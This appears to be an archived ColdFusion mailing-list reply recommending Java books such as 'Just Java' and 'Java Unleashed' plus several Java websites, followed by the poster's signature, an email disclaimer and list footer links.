I haven't looked at this specific edition but I saw this book back when it was in its first edition and it really helped me with learning Java, Just Java by Peter Van de Linden (http://www.amazon.com/exec/obidos/tg/stores/detail/-/books/0130320722/reader/1/ref=lib_dp_TFCV/102-6716556-3764904#reader-link) also you can check out Java Unleashed, there are alot of practical real world examples there that allow you to see how Java is applied. There are also numerous resources on the net, some of my favorite ones are www.jguru.com, www.gamelan.com, developer.java.sun.com. HTH Donnie Bachan Phone: (718) 217-2883 ICQ#: 28006783 Nitendo Vinces - By Striving You Shall Conquer == The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, retransmission, dissemination or other use of, or taking of any action in reliance upon, this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from any computer. __ Structure your ColdFusion code with Fusebox. Get the official book at http://www.fusionauthority.com/bkinfo.cfm FAQ: http://www.thenetprofits.co.uk/coldfusion/faq Archives: http://www.mail-archive.com/cf-talk@houseoffusion.com/ Unsubscribe: http://www.houseoffusion.com/index.cfm?sidebar=lists